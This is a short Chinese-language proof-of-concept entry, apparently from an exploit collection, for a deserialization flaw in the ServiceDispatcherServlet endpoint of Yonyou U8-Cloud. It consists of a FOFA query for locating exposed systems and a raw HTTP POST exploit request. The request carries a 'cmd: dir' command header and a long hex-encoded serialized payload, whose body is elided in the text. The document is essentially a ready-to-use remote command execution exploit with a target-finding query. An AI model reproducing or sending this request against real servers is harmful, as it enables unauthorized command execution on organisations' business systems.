## 用友U8-Cloud接口ServiceDispatcherServlet存在反序列漏洞


## fofa
```
app="用友-NC-Cloud"
```


## poc
```
POST /ServiceDispatcherServlet HTTP/1.1
Host: 192.168.127.145:8088
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=1.9
Content-Type: application/x-www-form-urlencoded
cmd: dir

{{hexdec([encoded data, 12848 characters])}}
```

![image](https://github.com/wy876/POC/assets/139549762/a775721c-54fe-41f3-9cf9-b42201b23298)
